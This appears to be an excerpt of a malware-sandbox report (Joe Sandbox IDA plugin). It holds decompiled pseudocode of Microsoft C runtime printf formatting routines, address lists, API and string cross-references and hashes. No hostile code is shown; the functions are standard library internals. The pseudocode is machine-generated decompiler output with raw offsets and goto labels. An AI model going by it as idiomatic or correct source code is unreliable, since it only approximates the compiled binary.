										 *((intOrPtr*)(L00422F00(_t574))) = 0x16;
										E00422C90(_t558, _t574, _t625, _t626, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t627 - 0x2f0) = 0xffffffff;
										E0041AEB0(_t627 - 0x40);
										_t502 =  *(_t627 - 0x2f0);
										goto L229;
									}
								}
							}
							L219:
							if( *(_t627 - 0x25c) == 0) {
								L222:
								 *(_t627 - 0x334) = 1;
								L223:
								_t561 =  *(_t627 - 0x334);
								 *(_t627 - 0x2e0) =  *(_t627 - 0x334);
								if( *(_t627 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t507 = L0041E410();
									_t630 = _t630 + 0x14;
									if(_t507 == 1) {
										asm("int3");
									}
								}
								if( *(_t627 - 0x2e0) != 0) {
									 *(_t627 - 0x300) =  *(_t627 - 0x24c);
									E0041AEB0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x300);
								} else {
									 *((intOrPtr*)(L00422F00(_t561))) = 0x16;
									E00422C90(_t558, _t561, _t625, _t626, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t627 - 0x2fc) = 0xffffffff;
									E0041AEB0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t627 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t627 - 0x334) = 0;
							goto L223;
						}
					} else {
						L116:
						 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
						__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x2f8) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041AEB0(__ecx);
						__eax =  *(__ebp - 0x2f8);
						L229:
						return E0042BD50(_t502, _t558,  *(_t627 - 0x48) ^ _t627, _t598, _t625, _t626);
					}
					L118:
					if(( *(_t627 - 0x10) & 0x00000020) == 0) {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					} else {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					}
					 *(_t627 - 0x28) = 1;
					goto L190;
				}
			}

0x00434d77
0x00434d77
0x00434d77
0x00434d77
0x00434d77
0x00434d77
0x00434d7b
0x00434d80
0x00434d83
0x00434d90
0x00000000
0x00000000
0x00434d96
0x00434d96
0x00434d98
0x00434da6
0x00434d9a
0x00434d9a
0x00434d9a
0x00434db0
0x00434db6
0x00434dc3
0x00434dc5
0x00434dca
0x00434dcc
0x00434dd1
0x00434dd6
0x00434dd8
0x00434ddd
0x00434de3
0x00434de5
0x00434de5
0x00434de3
0x00434ded
0x00434e35
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x0043532c
0x00435332
0x0043533c
0x00435351
0x00435366
0x00435368
0x0043536c
0x0043536c
0x00435353
0x00435353
0x00435357
0x00435357
0x0043533e
0x0043533e
0x00435342
0x00435342
0x0043533c
0x0043537c
0x00435388
0x0043539e
0x004353a3
0x004353a3
0x004353b9
0x004353be
0x004353c7
0x004353cf
0x004353e5
0x004353ea
0x004353ea
0x004353cf
0x004353f1
0x004354c5
0x004354d8
0x004354dd
0x00000000
0x004353f7
0x004353f7
0x004353fb
0x00000000
0x00000000
0x00435401
0x00435401
0x0043540e
0x00435417
0x0043541d
0x0043541d
0x0043542c
0x00435434
0x00000000
0x00000000
0x0043543a
0x00435443
0x00435462
0x00435467
0x0043546a
0x00435479
0x00435486
0x00435491
0x00435491
0x00000000
0x00435491
0x00435488
0x0043548f
0x0043549d
0x004354b6
0x004354bb
0x00000000
0x004354bb
0x00000000
0x0043548f
0x004354c3
0x004354e0
0x004354e7
0x004354ef
0x00435505
0x0043550a
0x0043550a
0x004354ef
0x004354e7
0x0043550d
0x00435511
0x00435519
0x0043551e
0x00435521
0x00435521
0x00435528
0x00435528
0x004345ff
0x00434605
0x00434612
0x00434617
0x00000000
0x0043462a
0x00434634
0x0043465b
0x00434642
0x00434653
0x00434653
0x00434634
0x00434665
0x0043466b
0x00434677
0x0043467a
0x00434688
0x0043468b
0x00434698
0x0043473d
0x00434743
0x00434750
0x00000000
0x00000000
0x00434756
0x0043475c
0x00000000
0x00434763
0x00434763
0x0043477b
0x00434780
0x00434783
0x00434785
0x0043483f
0x00434852
0x00434857
0x00000000
0x0043478b
0x0043479e
0x004347a3
0x004347a9
0x004347ab
0x004347b4
0x004347b4
0x004347b7
0x004347c3
0x004347c7
0x004347cd
0x004347cf
0x004347d4
0x004347d6
0x004347db
0x004347e0
0x004347e2
0x004347e7
0x004347ea
0x004347ed
0x004347ef
0x004347ef
0x004347ed
0x004347f0
0x004347f0
0x004347f7
0x00000000
0x004347f9
0x004347fe
0x0043481a
0x00434822
0x0043482f
0x00434834
0x00000000
0x00434834
0x004347f7
0x00000000
0x0043485f
0x0043485f
0x00434866
0x00434869
0x0043486c
0x0043486f
0x00434872
0x00434875
0x00434878
0x0043487f
0x00434886
0x00000000
0x00000000
0x00434892
0x00434892
0x00434899
0x004348a5
0x004348a8
0x004348ae
0x004348b5
0x00000000
0x00000000
0x004348b7
0x004348b7
0x004348bd
0x004348bd
0x004348c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434907
0x00434907
0x0043490e
0x00434911
0x0043493b
0x0043493e
0x0043493e
0x00434941
0x00434948
0x00434948
0x0043494c
0x00434913
0x00434913
0x0043491f
0x00434922
0x00434926
0x00434928
0x0043492b
0x0043492b
0x0043492e
0x00434934
0x00434936
0x00434936
0x00434939
0x00000000
0x00000000
0x00434954
0x00434954
0x00000000
0x00000000
0x00434960
0x00434960
0x00434967
0x0043496a
0x0043498a
0x0043498d
0x0043498d
0x00434997
0x00434997
0x0043499b
0x0043496c
0x0043496c
0x00434978
0x0043497b
0x0043497f
0x00434981
0x00434981
0x00434988
0x00000000
0x00000000
0x004349a3
0x004349a3
0x004349aa
0x004349b6
0x004349b9
0x004349bf
0x004349c6
0x00434ad9
0x00000000
0x00434ad9
0x004349cc
0x004349cc
0x004349d2
0x004349d2
0x004349d9
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a15
0x00434a18
0x00434a40
0x00434a40
0x00434a43
0x00434a46
0x00434a49
0x00434a6e
0x00434a6e
0x00434a71
0x00434a74
0x00434a77
0x00434ab0
0x00434ac1
0x00000000
0x00434ac1
0x00434a79
0x00434a79
0x00434a7c
0x00434a7f
0x00434a82
0x00000000
0x00000000
0x00434a84
0x00434a84
0x00434a87
0x00434a8a
0x00434a8d
0x00000000
0x00000000
0x00434a8f
0x00434a8f
0x00434a92
0x00434a95
0x00434a98
0x00000000
0x00000000
0x00434a9a
0x00434a9a
0x00434a9d
0x00434aa0
0x00434aa3
0x00000000
0x00000000
0x00434aa5
0x00434aa5
0x00434aa8
0x00434aab
0x00434aae
0x00434ab2
0x00000000
0x00434ab2
0x00000000
0x00434aae
0x00434a4b
0x00434a4b
0x00434a4e
0x00434a52
0x00434a55
0x00000000
0x00434a57
0x00434a5a
0x00434a5d
0x00434a60
0x00434a63
0x00434a69
0x00000000
0x00434a69
0x00434a55
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a21
0x00434a24
0x00000000
0x00434a26
0x00434a29
0x00434a2c
0x00434a2f
0x00434a32
0x00434a38
0x00000000
0x00434a38
0x00000000
0x00434ac3
0x00434ac6
0x00434ac9
0x00000000
0x00000000
0x004349e0
0x004349e0
0x004349e3
0x004349e6
0x004349e9
0x00434a01
0x00434a04
0x00434a04
0x00434a07
0x004349eb
0x004349ee
0x004349f1
0x004349f7
0x004349fc
0x004349fc
0x00000000
0x00000000
0x00434ace
0x00434ace
0x00434ad1
0x00434ad1
0x00434ad6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ade
0x00434ade
0x00434ae5
0x00434af1
0x00434af4
0x00434afa
0x00434b01
0x00000000
0x00435322
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x004352dc
0x004352df
0x004352e2
0x004352e5
0x004352e8
0x004352eb
0x004352f1
0x004352f1
0x004352f1
0x004352f9
0x004352fd
0x00000000
0x00000000
0x004352ff
0x004352ff
0x00435302
0x00435305
0x00435305
0x0043530a
0x0043530d
0x00435310
0x00435313
0x00435316
0x00435319
0x0043531c
0x0043531c
0x0043531f
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00434b07
0x00434b0d
0x00434b0d
0x00434b14
0x00000000
0x00434e6e
0x00434e6e
0x00434e75
0x00434e7c
0x00434e7c
0x00434e7f
0x00000000
0x00000000
0x00434b1b
0x00434b1e
0x00434b1e
0x00434b24
0x00434b26
0x00434b29
0x00434b29
0x00434b2e
0x00434b2e
0x00000000
0x00000000
0x00434c5b
0x00434c5e
0x00434c5e
0x00434c63
0x00434c65
0x00434c68
0x00434c68
0x00434c6e
0x00434c6e
0x00000000
0x00000000
0x0043503b
0x0043503b
0x00000000
0x00000000
0x00434bc5
0x00434bc5
0x00434bd1
0x00434bd7
0x00434bde
0x00434bec
0x00434bec
0x00434bf2
0x00434bf5
0x00434c01
0x00434c56
0x00000000
0x00434c56
0x00434be0
0x00434be0
0x00434be6
0x00434bea
0x00434c06
0x00434c09
0x00434c09
0x00434c0f
0x00434c37
0x00434c3e
0x00434c44
0x00434c47
0x00434c4a
0x00434c50
0x00434c53
0x00434c11
0x00434c11
0x00434c17
0x00434c1a
0x00434c1d
0x00434c23
0x00434c26
0x00434c29
0x00434c2b
0x00434c2e
0x00434c2e
0x00000000
0x00434c0f
0x00000000
0x00000000
0x00434e85
0x00434e88
0x00434e8b
0x00434e8e
0x00434e94
0x00434e97
0x00434e9e
0x00434ea2
0x00434ead
0x00434ead
0x00434eb1
0x00434ec8
0x00434ec8
0x00434ecf
0x00434ed1
0x00434ed1
0x00434ed8
0x00434ed8
0x00434edf
0x00434ef0
0x00434eff
0x00434f02
0x00434f06
0x00434f1c
0x00434f08
0x00434f08
0x00434f0b
0x00434f11
0x00434f17
0x00434f17
0x00434f06
0x00434f26
0x00434f29
0x00434f2c
0x00434f2f
0x00434f32
0x00434f35
0x00434f3b
0x00434f41
0x00434f49
0x00434f4a
0x00434f4d
0x00434f4e
0x00434f51
0x00434f52
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f68
0x00434f69
0x00434f77
0x00434f79
0x00434f7f
0x00434f7f
0x00434f85
0x00434f87
0x00434f8b
0x00434f8d
0x00434f95
0x00434f96
0x00434f99
0x00434f9a
0x00434fa8
0x00434faa
0x00434faa
0x00434f8b
0x00434fad
0x00434fb4
0x00434fb7
0x00434fbc
0x00434fbc
0x00434fc2
0x00434fc4
0x00434fcc
0x00434fcd
0x00434fd0
0x00434fd1
0x00434fe0
0x00434fe2
0x00434fe2
0x00434fc2
0x00434fe5
0x00434fe8
0x00434feb
0x00434fee
0x00434ff3
0x00434ff9
0x00434ffc
0x00434fff
0x00434fff
0x00435002
0x00435002
0x00435005
0x00435011
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00435322
0x00434eb3
0x00434eb3
0x00434eba
0x00434ebd
0x00000000
0x00000000
0x00434ebf
0x00434ebf
0x00000000
0x00434ebf
0x00434ea4
0x00434ea4
0x00000000
0x00000000
0x00434b31
0x00434b34
0x00434b34
0x00434b3a
0x00434b95
0x00434b9d
0x00434ba4
0x00434baa
0x00434bb0
0x00434b3c
0x00434b3c
0x00434b46
0x00434b4a
0x00434b52
0x00434b59
0x00434b66
0x00434b6d
0x00434b79
0x00434b7f
0x00434b86
0x00434b88
0x00434b88
0x00434b8f
0x00434bb7
0x00434bbd
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00435019
0x0043501c
0x0043501f
0x00435022
0x00000000
0x00000000
0x00000000
0x00000000
0x0043507c
0x0043507c
0x00435086
0x00435086
0x0043508c
0x0043508e
0x00435091
0x00435091
0x00435097
0x00435097
0x00000000
0x00000000
0x00435034
0x00435034
0x00000000
0x00000000
0x00434c71
0x00434c71
0x00434c75
0x00434c83
0x00434c86
0x00434c77
0x00434c77
0x00434c77
0x00434c8c
0x00434c92
0x00434c98
0x00434ca4
0x00434caa
0x00434caa
0x00434cb0
0x00434d17
0x00434d17
0x00434d1b
0x00434d1d
0x00434d23
0x00434d23
0x00434d26
0x00434d29
0x00434d2f
0x00434d2f
0x00434d2f
0x00434d3b
0x00434d3e
0x00434d44
0x00434d46
0x00000000
0x00000000
0x00434d48
0x00434d48
0x00434d4e
0x00434d51
0x00434d53
0x00000000
0x00000000
0x00434d55
0x00434d5b
0x00434d5e
0x00434d5e
0x00434d66
0x00434d66
0x00434d6c
0x00434d6c
0x00434d6f
0x00000000
0x00434cb2
0x00434cb2
0x00434cb2
0x00434cb6
0x00434cb8
0x00434cbd
0x00434cbd
0x00434cc0
0x00434cc7
0x00434cca
0x00434cd0
0x00434cd0
0x00434cd0
0x00434cdc
0x00434cdf
0x00434ce5
0x00434ce7
0x00000000
0x00000000
0x00434ce9
0x00434ce9
0x00434cef
0x00434cf2
0x00434cf4
0x00000000
0x00000000
0x00434cf6
0x00434cfc
0x00434cff
0x00434cff
0x00434d07
0x00434d0d
0x00434d10
0x00434d12
0x00434d72
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00000000
0x0043502b
0x0043502b
0x00000000
0x00000000
0x00435047
0x00435047
0x00435051
0x00435051
0x0043505b
0x0043505b
0x00435061
0x00435063
0x0043506d
0x0043506d
0x00435070
0x00435073
0x00435073
0x0043509a
0x0043509d
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x00435156
0x0043515a
0x00435162
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513b
0x0043513f
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435115
0x00435121
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350f9
0x004350fd
0x00435105
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350cc
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a4
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435173
0x00435176
0x004351b8
0x004351b8
0x004351be
0x004351c4
0x004351ca
0x00000000
0x00435178
0x00435178
0x00435178
0x0043517f
0x00000000
0x00000000
0x00435181
0x00435181
0x0043518c
0x00435192
0x00435194
0x0043519a
0x0043519d
0x0043519f
0x004351a5
0x004351ae
0x004351b3
0x004351d0
0x004351d3
0x004351d3
0x004351d8
0x004351dd
0x004351dd
0x004351e3
0x004351e5
0x004351eb
0x004351f1
0x004351f1
0x004351fa
0x004351fa
0x004351e3
0x00435200
0x00435204
0x00435212
0x00435215
0x00435218
0x0043521f
0x00435221
0x00435221
0x00435206
0x00435206
0x00435206
0x0043522e
0x0043522e
0x00435234
0x00435236
0x00435236
0x0043523d
0x00435240
0x00435243
0x00435243
0x00435243
0x00435249
0x0043524c
0x0043524f
0x00435251
0x00000000
0x00000000
0x00435253
0x00435259
0x00435259
0x0043525f
0x00000000
0x00000000
0x00435261
0x00435261
0x00435264
0x00435267
0x0043526e
0x00435275
0x0043527d
0x00435283
0x00435286
0x00435289
0x00435290
0x0043529c
0x004352a2
0x004352a8
0x004352af
0x004352b1
0x004352b7
0x004352b7
0x004352bd
0x004352bd
0x004352c3
0x004352c6
0x004352cc
0x004352d1
0x004352d4
0x00435243
0x00435243
0x00435249
0x0043524c
0x0043524f
0x00435251
0x00000000
0x00000000
0x00000000
0x00435251
0x00435243
0x00435183
0x00435183
0x0043518a
0x00000000
0x00000000
0x00000000
0x0043518a
0x00000000
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00000000
0x004348e1
0x004348e4
0x004348e7
0x00000000
0x00000000
0x004348ec
0x004348ef
0x004348f4
0x00000000
0x00000000
0x004348d6
0x004348d6
0x004348d9
0x004348dc
0x00000000
0x00000000
0x004348cb
0x004348ce
0x004348d1
0x00000000
0x00000000
0x004348f9
0x004348f9
0x004348fc
0x004348fc
0x004348ff
0x00000000
0x00000000
0x00434902
0x00000000
0x00000000
0x0043469e
0x004346a0
0x004346ae
0x004346a2
0x004346a2
0x004346a2
0x004346b8
0x004346be
0x004346cb
0x004346cd
0x004346d2
0x004346d4
0x004346d9
0x004346de
0x004346e0
0x004346e5
0x004346eb
0x004346ed
0x004346ed
0x004346eb
0x004346ee
0x004346f5
0x00000000
0x004346f7
0x004346fc
0x00434718
0x00434720
0x0043472d
0x00434732
0x00000000
0x00434732
0x004346f5
0x00434698
0x0043552d
0x00435534
0x0043554b
0x0043554b
0x00435555
0x00435555
0x0043555b
0x00435568
0x0043556a
0x0043556f
0x00435571
0x00435576
0x0043557b
0x0043557d
0x00435582
0x00435588
0x0043558a
0x0043558a
0x00435588
0x00435592
0x004355dd
0x004355e6
0x004355eb
0x00435594
0x00435599
0x004355b5
0x004355bd
0x004355ca
0x004355cf
0x004355cf
0x00000000
0x00435592
0x00435536
0x0043553d
0x00000000
0x00000000
0x0043553f
0x0043553f
0x00000000
0x0043553f
0x00434def
0x00434def
0x00434df4
0x00434e10
0x00434e18
0x00434e22
0x00434e25
0x00434e2a
0x004355f1
0x004355fe
0x004355fe
0x00434e3a
0x00434e40
0x00434e60
0x00434e42
0x00434e4f
0x00434e4f
0x00434e62
0x00000000
0x00434e62

APIs

_get_int_arg.LIBCMTD ref: 00434D7B
__get_printf_count_output.LIBCMTD ref: 00434D89
__invalid_parameter.LIBCMTD ref: 00434E10
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434E25
_write_multi_char.LIBCMTD ref: 0043539E
_write_string.LIBCMTD ref: 004353B9
_write_multi_char.LIBCMTD ref: 004353E5
_wctomb_s.LIBCMTD ref: 00435462

Strings

_output_s_l, xrefs: 0043470E, 00434E06
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004346D9, 00434709, 00434DD1, 00434E01
("Incorrect format specifier", 0), xrefs: 004346CD, 00434713
("'n' format specifier disabled", 0), xrefs: 00434DC5, 00434E0B
-, xrefs: 0043533E

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: 44555dad7e7641110a76b78fc9c29f3d96ca3ff0d04ad03f6aaf8bf7d63379f3
Instruction ID: 3c75543f2c49344bc1b170508482394ab9fd10ca0d4372713d364b82aed070b5
Opcode Fuzzy Hash: 44555dad7e7641110a76b78fc9c29f3d96ca3ff0d04ad03f6aaf8bf7d63379f3
Instruction Fuzzy Hash: EBA1A070D016289BDF24DF54CC4ABEEB7B0AB89305F1451DAE5187A281E778AEC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C18A, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043C18A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t599 = __esi;
					_t598 = __edi;
					_t534 = __ebx;
					_t482 = E004283F0(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E00433FA0() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E410();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							if(( *(_t600 - 0x10) & 0x0000000c) == 0) {
								E0043CB80(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E0043CBC0( *(_t600 - 0x1c), _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E0043CB80(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							if( *(_t600 - 0xc) != 0) {
								L208:
								E0043CBC0( *(_t600 - 0x24),  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t600 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E0041AEE0(_t600 - 0x40);
									_t523 = E0043B620(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AEE0(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E0043CB20( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t600 - 0x44c) >= 0) {
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E0043CB80(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							if( *(_t600 - 0x20) != 0) {
								L0041C5D0( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M0043CA14))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E0043CB20( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x43ca4c; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA34))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
